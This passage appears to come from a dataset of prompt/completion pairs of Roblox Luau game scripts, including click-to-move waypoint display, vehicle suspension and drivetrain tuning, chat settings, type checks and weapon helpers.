\"TrailDotImage\";\n\tv11.Size = u1;\n\tv11.SizeRelativeOffset = Vector3.new(0, 0, -0.1);\n\tv11.AlwaysOnTop = u2;\n\tv11.Image = u3;\n\tv11.Adornee = v10;\n\tv11.Parent = v10;\n\tlocal v12 = Instance.new(\"Part\");\n\tv12.Size = Vector3.new(2, 2, 2);\n\tv12.Anchored = true;\n\tv12.CanCollide = false;\n\tv12.Name = \"EndWaypoint\";\n\tv12.Transparency = 1;\n\tlocal v13 = Instance.new(\"ImageHandleAdornment\");\n\tv13.Name = \"TrailDotImage\";\n\tv13.Size = u1;\n\tv13.SizeRelativeOffset = Vector3.new(0, 0, -0.1);\n\tv13.AlwaysOnTop = u2;\n\tv13.Image = u3;\n\tv13.Adornee = v12;\n\tv13.Parent = v12;\n\tlocal v14 = Instance.new(\"BillboardGui\");\n\tv14.Name = \"EndWaypointBillboard\";\n\tv14.Size = u4;\n\tv14.LightInfluence = 0;\n\tv14.SizeOffset = u5;\n\tv14.AlwaysOnTop = true;\n\tv14.Adornee = v12;\n\tv14.Parent = v12;\n\tlocal v15 = Instance.new(\"ImageLabel\");\n\tv15.Image = u6;\n\tv15.BackgroundTransparency = 1;\n\tv15.Size = UDim2.new(1, 0, 1, 0);\n\tv15.Parent = v14;\n\tlocal v16 = Instance.new(\"Part\");\n\tv16.Size = Vector3.new(2, 2, 2);\n\tv16.Anchored = true;\n\tv16.CanCollide = false;\n\tv16.Name = \"FailureWaypoint\";\n\tv16.Transparency = 1;\n\tlocal v17 = Instance.new(\"ImageHandleAdornment\");\n\tv17.Name = \"TrailDotImage\";\n\tv17.Size = u1;\n\tv17.SizeRelativeOffset = Vector3.new(0, 0, -0.1);\n\tv17.AlwaysOnTop = u2;\n\tv17.Image = u3;\n\tv17.Adornee = v16;\n\tv17.Parent = v16;\n\tlocal v18 = Instance.new(\"BillboardGui\");\n\tv18.Name = \"FailureWaypointBillboard\";\n\tv18.Size = u4;\n\tv18.LightInfluence = 0;\n\tv18.SizeOffset = u7;\n\tv18.AlwaysOnTop = true;\n\tv18.Adornee = v16;\n\tv18.Parent = v16;\n\tlocal v19 = Instance.new(\"Frame\");\n\tv19.BackgroundTransparency = 1;\n\tv19.Size = UDim2.new(0, 0, 0, 0);\n\tv19.Position = UDim2.new(0.5, 0, 1, 0);\n\tv19.Parent = v18;\n\tlocal v20 = Instance.new(\"ImageLabel\");\n\tv20.Image = u6;\n\tv20.BackgroundTransparency = 1;\n\tv20.Position = UDim2.new(0, -u4.X.Offset / 2, 0, -u4.Y.Offset);\n\tv20.Size = u4;\n\tv20.Parent = v19;\n\treturn v10, v12, v16;\nend;\nlocal v21, v22, v23 = v9();\nlocal v24 = {};\nv24.__index = v24;\nfunction v24.Destroy(p1)\n\tp1.DisplayModel:Destroy();\nend;\nlocal u8 = v21;\nlocal function u9(p2, p3)\n\tlocal v25, v26, v27 = l__Workspace__7:FindPartOnRayWithIgnoreList(Ray.new(p3 + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)), { l__Workspace__7.CurrentCamera, l__LocalPlayer__8.Character });\n\tif v25 then\n\t\tp2.CFrame = CFrame.new(v26, v26 + v27);\n\t\tlocal l__CurrentCamera__28 = l__Workspace__7.CurrentCamera;\n\t\tlocal v29 = l__CurrentCamera__28:FindFirstChild(\"ClickToMoveDisplay\");\n\t\tif not v29 then\n\t\t\tv29 = Instance.new(\"Model\");\n\t\t\tv29.Name = \"ClickToMoveDisplay\";\n\t\t\tv29.Parent = l__CurrentCamera__28;\n\t\tend;\n\t\tp2.Parent = v29;\n\tend;\nend;\nfunction v24.NewDisplayModel(p4, p5)\n\tlocal v30 = u8:Clone();\n\tu9(v30, p5);\n\treturn v30;\nend;\nfunction v24.new(p6, p7)\n\tlocal v31 = setmetatable({}, v24);\n\tv31.DisplayModel = v31:NewDisplayModel(p6);\n\tv31.ClosestWayPoint = p7;\n\treturn v31;\nend;\nlocal v32 = {};\nv32.__index = v32;\nfunction v32.Destroy(p8)\n\tp8.Destroyed = true;\n\tp8.Tween:Cancel();\n\tp8.DisplayModel:Destroy();\nend;\nlocal u10 = v22;\nfunction v32.NewDisplayModel(p9, p10)\n\tlocal v33 = u10:Clone();\n\tu9(v33, p10);\n\treturn v33;\nend;\nfunction v32.CreateTween(p11)\n\tlocal v34 = l__TweenService__5:Create(p11.DisplayModel.EndWaypointBillboard, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, -1, true), {\n\t\tSizeOffset = v2\n\t});\n\tv34:Play();\n\treturn v34;\nend;\nfunction v32.TweenInFrom(p12, p13)\n\tp12.DisplayModel.EndWaypointBillboard.StudsOffset = Vector3.new(0, (p13 - p12.DisplayModel.Position).Y, 0);\n\tlocal v35 = l__TweenService__5:Create(p12.DisplayModel.EndWaypointBillboard, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {\n\t\tStudsOffset = Vector3.new(0, 0, 0)\n\t});\n\tv35:Play();\n\treturn v35;\nend;\nfunction v32.new(p14, p15, p16)\n\tlocal v36 = setmetatable({}, v32);\n\tv36.DisplayModel = v36:NewDisplayModel(p14);\n\tv36.Destroyed = false;\n\tif p16 and (p16 - p14).Magnitude > 5 then\n\t\tv36.Tween = v36:TweenInFrom(p16);\n\t\tcoroutine.wrap(function()\n\t\t\tv36.Tween.Completed:Wait();\n\t\t\tif not v36.Destroyed then\n\t\t\t\tv36.Tween = v36:CreateTween();\n\t\t\tend;\n\t\tend)();\n\telse\n\t\tv36.Tween = v36:CreateTween();\n\tend;\n\tv36.ClosestWayPoint = p15;\n\treturn v36;\nend;\nlocal v37 = {};\nv37.__index = v37;\nfunction v37.Hide(p17)\n\tp17.DisplayModel.Parent = nil;\nend;\nfunction v37.Destroy(p18)\n\tp18.DisplayModel:Destroy();\nend;\nlocal u11 = v23;\nfunction v37.NewDisplayModel(p19, p20)\n\tlocal v38 = u11:Clone();\n\tu9(v38, p20);\n\tlocal v39, v40, v41 = l__Workspace__7:FindPartOnRayWithIgnoreList(Ray.new(p20 + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)), { l__Workspace__7.CurrentCamera, l__LocalPlayer__8.Character });\n\tif v39 then\n\t\tv38.CFrame = CFrame.new(v40, v40 + v41);\n\t\tlocal l__CurrentCamera__42 = l__Workspace__7.CurrentCamera;\n\t\tlocal v43 = l__CurrentCamera__42:FindFirstChild(\"ClickToMoveDisplay\");\n\t\tif not v43 then\n\t\t\tv43 = Instance.new(\"Model\");\n\t\t\tv43.Name = \"ClickToMoveDisplay\";\n\t\t\tv43.Parent = l__CurrentCamera__42;\n\t\tend;\n\t\tv38.Parent = v43;\n\tend;\n\treturn v38;\nend;\nfunction v37.RunFailureTween(p21)\n\twait(0.125);\n\tlocal v44 = TweenInfo.new(0.0625, Enum.EasingStyle.Sine, Enum.EasingDirection.Out);\n\tlocal v45 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, v44, {\n\t\tSizeOffset = v3\n\t});\n\tv45:Play();\n\tl__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v44, {\n\t\tRotation = 10\n\t}):Play();\n\tv45.Completed:wait();\n\tlocal v46 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, TweenInfo.new(0.125, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 3, true), {\n\t\tSizeOffset = v4\n\t});\n\tv46:Play();\n\tlocal v47 = TweenInfo.new(0.125, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 3, true);\n\tl__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame.ImageLabel, v47, {\n\t\tImageColor3 = Color3.new(0.75, 0.75, 0.75)\n\t}):Play();\n\tl__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v47, {\n\t\tRotation = -10\n\t}):Play();\n\tv46.Completed:wait();\n\tlocal v48 = TweenInfo.new(0.0625, Enum.EasingStyle.Sine, Enum.EasingDirection.Out);\n\tlocal v49 = l__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard, v48, {\n\t\tSizeOffset = u7\n\t});\n\tv49:Play();\n\tl__TweenService__5:Create(p21.DisplayModel.FailureWaypointBillboard.Frame, v48, {\n\t\tRotation = 0\n\t}):Play();\n\tv49.Completed:wait();\n\twait(0.125);\nend;\nfunction v37.new(p22)\n\tlocal v50 = setmetatable({}, v37);\n\tv50.DisplayModel = v50:NewDisplayModel(p22);\n\treturn v50;\nend;\nlocal v51 = Instance.new(\"Animation\");\nv51.AnimationId = \"rbxassetid://2874840706\";\nlocal u12 = nil;\nlocal u13 = 0;\nlocal function u14(p23, p24)\n\tlocal v52 = {};\n\tlocal v53 = 1;\n\tfor v54 = 1, #p23 - 1 do\n\t\tlocal v55 = false;\n\t\tif v54 % 2 == 0 then\n\t\t\tv55 = not ((p23[v54].Position - p23[#p23].Position).Magnitude < 3);\n\t\tend;\n\t\tif v55 then\n\t\t\tv52[v53] = v24.new(p23[v54].Position, v54);\n\t\t\tv53 = v53 + 1;\n\t\tend;\n\tend;\n\ttable.insert(v52, (v32.new(p23[#p23].Position, #p23, p24)));\n\tlocal v56 = {};\n\tlocal v57 = 1;\n\tfor v58 = #v52, 1, -1 do\n\t\tv56[v57] = v52[v58];\n\t\tv57 = v57 + 1;\n\tend;\n\treturn v56;\nend;\nfunction v1.CreatePathDisplay(p25, p26)\n\tu13 = u13 + 1;\n\tlocal u15 = u14(p25, p26);\n\tlocal u16 = \"ClickToMoveResizeTrail\" .. u13;\n\tl__RunService__6:BindToRenderStep(u16, Enum.RenderPriority.Camera.Value - 1, function()\n\t\tif #u15 == 0 then\n\t\t\tl__RunService__6:UnbindFromRenderStep(u16);\n\t\t\treturn;\n\t\tend;\n\t\tlocal l__p__59 = l__Workspace__7.CurrentCamera.CFrame.p;\n\t\tfor v60 = 1, #u15 do\n\t\t\tlocal l__TrailDotImage__61 = u15[v60].DisplayModel:FindFirstChild(\"TrailDotImage\");\n\t\t\tif l__TrailDotImage__61 then\n\t\t\t\tl__TrailDotImage__61.Size = u1 * (1 + 1.5 * (math.clamp((u15[v60].DisplayModel.Position - l__p__59).Magnitude - 10, 0, 90) / 90));\n\t\t\tend;\n\t\tend;\n\tend);\n\tlocal function u17(p27)\n\t\tfor v62 = #u15, 1, -1 do\n\t\t\tlocal v63 = u15[v62];\n\t\t\tif not (v63.ClosestWayPoint <= p27) then\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tv63:Destroy();\n\t\t\tu15[v62] = nil;\n\t\tend;\n\tend;\n\treturn function()\n\t\tu17(#p25);\n\tend, u17;\nend;\nlocal u18 = nil;\nfunction v1.DisplayFailureWaypoint(p28)\n\tif u18 then\n\t\tu18:Hide();\n\tend;\n\tlocal v64 = v37.new(p28);\n\tu18 = v64;\n\tlocal u19 = v64;\n\tcoroutine.wrap(function()\n\t\tu19:RunFailureTween();\n\t\tu19:Destroy();\n\t\tu19 = nil;\n\tend)();\nend;\nfunction v1.CreateEndWaypoint(p29)\n\treturn v32.new(p29);\nend;\nfunction v1.PlayFailureAnimation()\n\tlocal l__Character__65 = l__LocalPlayer__8.Character;\n\tif l__Character__65 then\n\t\tlocal v66 = l__Character__65:FindFirstChildOfClass(\"Humanoid\");\n\telse\n\t\tv66 = nil;\n\tend;\n\tif v66 then\n\t\tif v66 == nil then\n\t\t\tlocal v67 = u12;\n\t\telse\n\t\t\tu12 = v66:LoadAnimation(v51);\n\t\t\tassert(u12, \"\");\n\t\t\tu12.Priority = Enum.AnimationPriority.Action;\n\t\t\tu12.Looped = false;\n\t\t\tv67 = u12;\n\t\tend;\n\t\tv67:Play();\n\tend;\nend;\nfunction v1.CancelFailureAnimation()\n\tif u12 ~= nil and u12.IsPlaying then\n\t\tu12:Stop();\n\tend;\nend;\nfunction v1.SetWaypointTexture(p30)\n\tu3 = p30;\n\tlocal v68, v69, v70 = v9();\n\tu8 = v68;\n\tu10 = v69;\n\tu11 = v70;\nend;\nfunction v1.GetWaypointTexture()\n\treturn u3;\nend;\nfunction v1.SetWaypointRadius(p31)\n\tu1 = Vector2.new(p31, p31);\n\tlocal v71, v72, v73 = v9();\n\tu8 = v71;\n\tu10 = v72;\n\tu11 = v73;\nend;\nfunction v1.GetWaypointRadius()\n\treturn u1.X;\nend;\nfunction v1.SetEndWaypointTexture(p32)\n\tu6 = p32;\n\tlocal v74, v75, v76 = v9();\n\tu8 = v74;\n\tu10 = v75;\n\tu11 = v76;\nend;\nfunction v1.GetEndWaypointTexture()\n\treturn u6;\nend;\nfunction v1.SetWaypointsAlwaysOnTop(p33)\n\tu2 = p33;\n\tlocal v77, v78, v79 = v9();\n\tu8 = v77;\n\tu10 = v78;\n\tu11 = v79;\nend;\nfunction v1.GetWaypointsAlwaysOnTop()\n\treturn u2;\nend;\nreturn v1;\n"} +{"prompt": "--Wheels Array", "completion": "\nlocal fDensity = _Tune.FWheelDensity\nlocal rDensity = _Tune.RWheelDensity\nlocal fFwght = _WHEELTUNE.FFrictionWeight\nlocal rFwght = _WHEELTUNE.RFrictionWeight\nlocal fElast = _WHEELTUNE.FElasticity\nlocal rElast = _WHEELTUNE.RElasticity\nlocal fEwght = _WHEELTUNE.FElastWeight\nlocal rEwght = _WHEELTUNE.RElastWeight\nif not workspace:PGSIsEnabled() then\n\tfDensity = _Tune.FWLgcyDensity\n\trDensity = _Tune.RWLgcyDensity\n\tfFwght = _WHEELTUNE.FLgcyFrWeight\n\trFwght = _WHEELTUNE.FLgcyFrWeight\n\tfElast = _WHEELTUNE.FLgcyElasticity\n\trElast = _WHEELTUNE.RLgcyElasticity\n\tfEwght = _WHEELTUNE.FLgcyElWeight\n\trEwght = _WHEELTUNE.RLgcyElWeight\nend\nlocal Wheels = {}\nfor i,v in pairs(car.Wheels:GetChildren()) do\n\tlocal w = {}\n\tw.wheel = v\n\tlocal ca\n\tw.x = 0\n\tif v.Name == \"FL\" or v.Name == \"FR\" or v.Name == \"F\" then\n\t\tca = (12-math.abs(_Tune.FCamber))/15\n\t\tw.x = fDensity\n\t\tw.BaseHeat = _WHEELTUNE.FTargetFriction-_WHEELTUNE.FMinFriction\n\t\tw.WearSpeed = _WHEELTUNE.FWearSpeed\n\t\tw.fWeight = fFwght\n\t\tw.elast = fElast\n\t\tw.eWeight = fEwght\n\telse\n\t\tca = (12-math.abs(_Tune.RCamber))/15\n\t\tw.x = rDensity\n\t\tw.BaseHeat = _WHEELTUNE.RTargetFriction-_WHEELTUNE.RMinFriction\n\t\tw.WearSpeed = _WHEELTUNE.RWearSpeed\n\t\tw.fWeight = rFwght\n\t\tw.elast = rElast\n\t\tw.eWeight = rEwght\n\tend\n\t--if car:FindFirstChild(\"WearData\")~=nil then\n\t--\tw.Heat = math.min(w.BaseHeat,car.WearData[v.Name].Value+(((tick()-car.WearData.STime.Value)*_WHEELTUNE.RegenSpeed*15/10000)))\n\t--else\n\t\tw.Heat = w.BaseHeat\n\t--end\n\tw.stress = 0\n\ttable.insert(Wheels,w)\nend\n"} +{"prompt": "-- If you want to after how many seconds can you get another hat on your head, change the line that says \"wait(5)\"\n-- Changing this will change after how many seconds can someone touch the giver, and get a hat. It's best to leave it as it is, \n-- Changing it really doesnt matter.", "completion": "\n"} +{"prompt": "-- Below are functions that are only meant to be used in command implementations --", "completion": "\n"} +{"prompt": "--// Hash: 38f532afdee11571075140006601d75ddefce7a87d429f16b86768a1265dce192622a9061d57e77106a81f527e16f8a9\n-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tCrouch = \"C\"\n};\n"} +{"prompt": "-- Activate when setting is checked.", "completion": "\nscript.Activate.Changed:Connect(function(value)\n\tif ( value ) then\n\t\tactivate();\n\telse\n\t\tdeactivate();\n\tend\nend);\n"} +{"prompt": "---[[ Message Settings ]]", "completion": "\nmodule.MaximumMessageLength = 200\nmodule.DisallowedWhiteSpace = {\"\\n\", \"\\r\", \"\\t\", \"\\v\", \"\\f\"}\nmodule.ClickOnPlayerNameToWhisper = true\nmodule.ClickOnChannelNameToSetMainChannel = true\nmodule.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- this is a dummy object that holds the flash made when the gun is fired", "completion": "\nlocal FlashHolder = nil\n\n\nlocal WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid\nlocal GetCellFunction = Workspace.Terrain.GetCell\n\nfunction RayIgnoreCheck(hit, pos)\n\tif hit then\n\t\tif hit.Transparency >= 1 or string.lower(hit.Name) == \"water\" or\n\t\t\t\thit.Name == \"Effect\" or hit.Name == \"Rocket\" or hit.Name == \"Bullet\" or\n\t\t\t\thit.Name == \"Handle\" or hit:IsDescendantOf(MyCharacter) then\n\t\t\treturn true\n\t\telseif hit:IsA('Terrain') and pos then\n\t\t\tlocal cellPos = WorldToCellFunction(Workspace.Terrain, pos)\n\t\t\tif cellPos then\n\t\t\t\tlocal cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)\n\t\t\t\tif cellMat and cellMat == Enum.CellMaterial.Water then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "--[[**\n\tensures value is a given literal value\n\n\t@param literal The literal to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.literal(...)\n\tlocal size = select(\"#\", ...)\n\tif size == 1 then\n\t\tlocal literal = ...\n\t\treturn function(value)\n\t\t\tif value ~= literal then\n\t\t\t\treturn false, string.format(\"expected %s, got %s\", tostring(literal), tostring(value))\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\telse\n\t\tlocal literals = {}\n\t\tfor i = 1, size do\n\t\t\tlocal value = select(i, ...)\n\t\t\tliterals[i] = t.literal(value)\n\t\tend\n\t\treturn t.union(unpack(literals))\n\tend\nend\n"} +{"prompt": "--[[\n\tAn implementation of Promises similar to Promise/A+.\n]]", "completion": "\n\nlocal ERROR_NON_PROMISE_IN_LIST = \"Non-promise value passed into %s at index %s\"\nlocal ERROR_NON_LIST = \"Please pass a list of promises to %s\"\nlocal ERROR_NON_FUNCTION = \"Please pass a handler function to %s!\"\nlocal MODE_KEY_METATABLE = {__mode = \"k\"}\n"} +{"prompt": "-- LocalScripts that are cloned and deployed", "completion": "\nlocal DriverScriptPrototype = Scripts.Driver\nlocal PassengerScriptPrototype = Scripts.Passenger\nlocal LocalGuiModulePrototype = Scripts.LocalVehicleGui\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"AWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "-- this is a dummy object that holds the flash made when the gun is fired", "completion": "\nlocal FlashHolder = nil\n\nlocal EquipTrack = nil\nlocal PumpTrack = nil\n\n\nlocal WorldToCellFunction = game.Workspace.Terrain.WorldToCellPreferSolid\nlocal GetCellFunction = game.Workspace.Terrain.GetCell\n\nfunction RayIgnoreCheck(hit, pos)\n\tif hit then\n\t\tif hit.Transparency >= 1 or string.lower(hit.Name) == \"water\" or\n\t\t\t\thit.Name == \"Effect\" or hit.Name == \"Rocket\" or hit.Name == \"Bullet\" or\n\t\t\t\thit.Name == \"Handle\" or hit:IsDescendantOf(MyCharacter) then\n\t\t\treturn true\n\t\telseif hit:IsA('Terrain') and pos then\n\t\t\tlocal cellPos = WorldToCellFunction(game.Workspace.Terrain, pos)\n\t\t\tif cellPos then\n\t\t\t\tlocal cellMat = GetCellFunction(game.Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)\n\t\t\t\tif cellMat and cellMat == Enum.CellMaterial.Water then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "--Find all important instances", "completion": "\nlocal model \t= script.Parent.Parent \t\t--The teleporter model\nlocal colorPart\t= model.Parts.Color \t\t--The part that has color\nlocal glowPart = model.Parts.Glow \t\t\t--Teleporter glow part\nlocal indicator = model.Parts.Indicator\t\t--Indicator part\nlocal telePart \t= model.Parts.Teleporter\t--The actual teleporter part\nlocal config \t= model.Configuration\t\t--The configuration folder\n"} +{"prompt": "--script.Parent.Urinal.Flushes.DistortionSoundEffect.Level = 0.75\n--script.Parent.Waterz.Disabled = false", "completion": "\nwait(0.545)\nscript.Parent.WaterUp.Disabled = false\nwait(0.5)"} +{"prompt": "--[=[\n\t@param name string -- Name passed to `RunService:BindToRenderStep`\n\t@param priority number -- Priority passed to `RunService:BindToRenderStep`\n\t@param callbackFn UpdateCallbackFn\n\n\tBind the `Update` method to RenderStep.\n\n\tAll bond functions are cleaned up when the shake instance is stopped\n\tor destroyed.\n\n\t```lua\n\tlocal renderPriority = Enum.RenderPriority.Camera.Value\n\n\tlocal function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)\n\t\t-- Shake\n\tend\n\n\tshake:BindToRenderStep(\"SomeShake\", renderPriority, SomeShake)\n\t```\n]=]", "completion": "\nfunction Shake:BindToRenderStep(name: string, priority: number, callbackFn: UpdateCallbackFn)\n\tself._trove:BindToRenderStep(name, priority, function()\n\t\tcallbackFn(self:Update())\n\tend)\nend\n\n"} +{"prompt": "--[[**\n\tensures value is a number where value < max\n\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMaxExclusive(max)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg or \"\"\n\t\tend\n\t\tif value < max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number < %s expected, got %s\", max, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--Allows users to do /w displayName along with /w userName, only works if PlayerDisplayNamesEnabled is 'true'", "completion": "\nmodule.WhisperByDisplayName = true\n\nlocal ChangedEvent = Instance.new(\"BindableEvent\")\n\nlocal proxyTable = setmetatable({},\n{\n\t__index = function(tbl, index)\n\t\treturn module[index]\n\tend,\n\t__newindex = function(tbl, index, value)\n\t\tmodule[index] = value\n\t\tChangedEvent:Fire(index, value)\n\tend,\n})\n\nrawset(proxyTable, \"SettingsChanged\", ChangedEvent.Event)\n\nreturn proxyTable\n"} +{"prompt": "---------------\n--// Events\n---------------", "completion": "\nSTC.UpdateInventory.OnClientEvent:Connect(function(D)\n\tData = D\n\tif ContentFrame.Sell.Visible == true then\n\t\tloadStuff()\n\tend\nend)\n\nscript.Parent.MouseButton1Up:Connect(function()\n\ttoggleVisibility()\n\tloadStuff()\n\tloadPriceVisual()\nend)\n\nSellButton.MouseButton1Down:Connect(function()\n\tif #SelectedItems ~= 0 then\n\t\tCTS.Sell:FireServer(SelectedItems)\n\t\tSelectedItems = {}\n\tend\n\tloadPriceVisual()\nend)\n\nclearButton.MouseButton1Down:Connect(function()\n\tSelectedItems = {}\n\tfor i,v in pairs(SellItemsScrollingFrame:GetChildren()) do\n\t\tif v.Name ~= \"Z\" and v.Name ~= \"Template\" and v:IsA(\"Frame\") then\n\t\t\tv.BackgroundColor3 = Color3.new(0, 0, 0)\n\t\t\tv.A:FindFirstChildOfClass(\"ViewportFrame\").ImageTransparency = 0\n\t\t\tv.A:FindFirstChildOfClass(\"ViewportFrame\").ImageColor3 = Color3.new(1, 1, 1)\n\t\t\tv.A.Amount.Visible = false\t\t\t\t\t\n\n\t\tend\n\tend\n\tloadPriceVisual()\nend)\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nThis.Parent.Parent.Parent.Parent.Parent:WaitForChild(\"Direction\", 120).Changed:connect(function(val)\nif val == 1 then\nThis.Frame.Direction.Text = \"\u25b2\"\nelseif val == -1 then\nThis.Frame.Direction.Text = \"\u25bc\"\nelse\nThis.Frame.Direction.Text = \"\"\nend\nend)"} +{"prompt": "--griptcf = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-math.pi/2+0.5, 0, 0)", "completion": "\n\nscript.Parent.Unequipped:connect(function()\n\tselected = false\n\tlocal pl = player\n\t--[[Bring_Arm_Down animation\n\tfor i = 1, 0, -0.05 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.5*i, 0, -0.5*i)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i, 0, 0.7*i)\t\n\t\tLW.C1 = CFrame.new(-0.3*i, 1.7*i, 0)\n\tend]]\n\tRW.Parent = nil\n\tLW.Parent = nil\n\tRSH.Part1 = pl.Character[\"Right Arm\"]\n\tLSH.Part1 = pl.Character[\"Left Arm\"]\nend)"} +{"prompt": "--- Constants used to decide when to notify that the chat filter is having issues filtering messages.", "completion": "\nlocal FILTER_NOTIFCATION_THRESHOLD = 3 --Number of notifcation failures before an error message is output.\nlocal FILTER_NOTIFCATION_INTERVAL = 60 --Time between error messages.\nlocal FILTER_THRESHOLD_TIME = 60 --If there has not been an issue in this many seconds, the count of issues resets.\n\nlocal module = {}\n\nlocal RunService = game:GetService(\"RunService\")\nlocal Chat = game:GetService(\"Chat\")\nlocal ReplicatedModules = Chat:WaitForChild(\"ClientChatModules\")\n\nlocal modulesFolder = script.Parent\nlocal ReplicatedModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal ChatSettings = require(ReplicatedModules:WaitForChild(\"ChatSettings\"))\n\nlocal errorTextColor = ChatSettings.ErrorMessageTextColor or Color3.fromRGB(245, 50, 50)\nlocal errorExtraData = {ChatColor = errorTextColor}\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 